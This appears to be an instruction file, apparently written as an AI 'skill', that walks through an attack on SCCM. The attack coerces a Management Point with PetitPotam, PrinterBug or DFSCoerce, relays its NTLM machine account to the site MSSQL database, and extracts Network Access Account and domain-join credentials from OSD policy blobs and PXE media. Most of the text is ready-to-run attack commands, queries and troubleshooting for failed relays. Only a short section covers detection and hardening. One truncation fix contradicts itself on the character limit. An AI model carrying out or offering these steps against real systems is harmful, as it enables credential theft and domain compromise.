SCCM Management Point NTLM Relay to SQL – OSD Policy Secret Extraction
This skill guides you through extracting Operating System Deployment (OSD) policy secrets from System Center Configuration Manager (SCCM) by coercing a Management Point (MP) to authenticate over SMB/RPC and relaying that NTLM machine account to the site database (MSSQL).
Attack Overview
The Management Point's smsdbrole_MP / smsdbrole_MPUserSvc database roles allow calling stored procedures that expose OSD policy blobs. These blobs contain Network Access Account credentials, Task-Sequence variables, and other secrets that can be decoded and decrypted.
High-level chain:
- Discover MP & site database via unauthenticated HTTP endpoint
- Start NTLM relay listener (SMB→TDS)
- Coerce MP using PetitPotam, PrinterBug, DFSCoerce, etc.
- Connect to MSSQL through SOCKS proxy as relayed machine account
- Execute stored procedures to retrieve policy bodies
- Decode and decrypt blobs to extract plaintext secrets
Prerequisites
- Network access to SCCM Management Point
- Network access to SCCM site database (MSSQL)
- NTLM relay tool (impacket's
ntlmrelayx.py) - Coercion tool (PetitPotam, PrinterBug, DFSCoerce, etc.)
mssqlclient.pyfrom impacketpxethief.pyfor decryptionproxychainsor SOCKS proxy configuration
Phase 1: Enumerate Unauthenticated MP Endpoints
The MP ISAPI extension GetAuth.dll exposes parameters that don't require authentication (unless PKI-only):
Get Site Information and Unknown Computer GUIDs
# Returns site signing cert public key + GUIDs of x86/x64 All Unknown Computers
curl http://<MP-FQDN>/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
Extract the GUIDs - these will be your clientID for later database queries.
List All Management Points
curl http://<MP-FQDN>/SMS_MP/.sms_aut?MPLIST | xmllint --format -
Get Site Signing Certificate
curl http://<MP-FQDN>/SMS_MP/.sms_aut?SITESIGNCERT | xmllint --format -
This helps identify the site server without LDAP access.
Phase 2: Relay MP Machine Account to MSSQL
Start the Relay Listener
# SMB→TDS relay with SOCKS proxy
ntlmrelayx.py -ts -t mssql://<SiteDB-IP> -socks -smb2support
Trigger Authentication from MP
Choose a coercion method based on your environment:
PetitPotam (MS-EFSR):
python3 PetitPotam.py <MP-IP> <Attacker-IP> \
-u <username> -p <password> -d <DOMAIN> -dc-ip <DC-IP>
PrinterBug (MS-RPRN):
python3 PrinterBug.py <MP-IP> <Attacker-IP> \
-u <username> -p <password> -d <DOMAIN> -dc-ip <DC-IP>
DFSCoerce (MS-RDRA):
python3 DFSCoerce.py <MP-IP> <Attacker-IP> \
-u <username> -p <password> -d <DOMAIN> -dc-ip <DC-IP>
Verify Successful Relay
Look for output like:
[*] Authenticating against mssql://<IP> as <DOMAIN>/<MP-host>$ SUCCEED
[*] SOCKS: Adding <DOMAIN>/<MP-host>$@<IP>(1433)
Phase 3: Query OSD Policies via Stored Procedures
Connect Through SOCKS Proxy
# Default SOCKS port is 1080
proxychains mssqlclient.py <DOMAIN>/<MP-host>$@<SiteDB-IP> -windows-auth
Switch to Site Database
USE CM_<SiteCode>;
-- SiteCode is typically 3 characters, e.g., CM_001, CM_ABC
Find Unknown Computer GUIDs (Optional)
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
List Assigned Policies
EXEC MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>', N'';
Each row contains:
PolicyAssignmentIDBody(hex-encoded policy blob)PolicyIDPolicyVersion
Target policies:
NAAConfig– Network Access Account credentialsTS_Sequence– Task Sequence variables (OSDJoinAccount/Password)CollectionSettings– May contain run-as accounts
Retrieve Full Policy Body
If you have PolicyID and PolicyVersion, you can skip the clientID requirement:
EXEC MP_GetPolicyBody N'<PolicyID>', N'<PolicyVersion>';
Or use the authorization variant:
EXEC MP_GetPolicyBodyAfterAuthorization N'<PolicyID>', N'<PolicyVersion>';
IMPORTANT: In SSMS, increase "Maximum Characters Retrieved" to >65535 or the blob will be truncated.
Phase 4: Decode and Decrypt Policy Blobs
Remove BOM and Convert Hex to XML
# The blob starts with 0xFFFE (UTF-16 LE BOM)
echo '<hex-blob>' | xxd -r -p > policy.xml
Decrypt with PXEthief
# Extract the encrypted value from XML
ENCRYPTED_VALUE=$(xmlstarlet sel -t -v "//value/text()" policy.xml)
# Decrypt (7 = decrypt attribute value)
python3 pxethief.py 7 "$ENCRYPTED_VALUE"
Expected Output
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
Phase 5: PXE Boot Media Harvesting (Optional)
For additional secrets, you can harvest PXE boot media:
Send PXE Boot Request
# Send request to Distribution Point on UDP/4011
# Response reveals boot paths and optional encrypted key blob
Retrieve Boot Artifacts via TFTP
# Download variables.dat (unauthenticated TFTP)
tftp <DP-IP> -c get "SMSBoot\\x64\\pxe\\variables.dat"
Decrypt or Crack
With key:
# Feed key to SharpPXE for direct decryption
Without key:
# SharpPXE emits Hashcat-compatible hash
# Format: $sccm$aes128$...
# Crack with Hashcat, then decrypt
Parse Decrypted XML
SharpPXE parses the decrypted XML and prints a ready-to-run SharpSCCM command with GUID/PFX/site parameters prefilled.
Relevant SQL Roles and Procedures
Upon relay, the login is mapped to:
smsdbrole_MPsmsdbrole_MPUserSvc
Key Stored Procedures
| Procedure | Purpose |
|---|---|
MP_GetMachinePolicyAssignments |
List policies applied to a clientID |
MP_GetPolicyBody |
Return complete policy body |
MP_GetPolicyBodyAfterAuthorization |
Return policy body (authorization variant) |
MP_GetListOfMPsInSiteOSD |
List MPs in site (returned by MPKEYINFORMATIONMEDIA) |
Inspect Full Permission List
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
Detection and Hardening
Detection Indicators
- Monitor MP logins – Any MP computer account logging in from an IP that isn't its host indicates relay
- Unusual TFTP downloads – Alert on TFTP downloads of
SMSBoot\*\pxe\variables.dat - Stored procedure execution – Monitor for
MP_GetPolicyBodycalls from unexpected sources
Hardening Recommendations
- Enable Extended Protection for Authentication (EPA) on the site database (PREVENT-14)
- Disable unused NTLM and enforce SMB signing
- Restrict RPC endpoints (same mitigations used against PetitPotam/PrinterBug)
- Harden MP ↔ DB communication with IPSec or mutual-TLS
- Constrain PXE exposure – Firewall UDP/4011 and TFTP to trusted VLANs, require PXE passwords
Common Issues and Troubleshooting
Policy Body Truncated
Problem: The returned blob is cut off at 65535 characters.
Solution: In SSMS, go to Tools → Options → Query Results → SQL Server → Results → Increase "Maximum Characters Retrieved" to 32767 or higher.
Relay Fails
Problem: ntlmrelayx.py doesn't receive authentication.
Solutions:
- Verify the MP can reach your attacker IP on SMB/RPC ports
- Try different coercion methods (PetitPotam, PrinterBug, DFSCoerce)
- Check firewall rules between MP and attacker
- Ensure the MP has network access to the MSSQL server
Decryption Fails
Problem: PXEthief returns an error or garbage output.
Solutions:
- Verify the BOM was properly removed (first 2 bytes:
FF FE) - Ensure the hex string is clean (no whitespace, newlines)
- Check that you're using the correct PXEthief mode (7 for attribute values)
- Verify the policy body wasn't truncated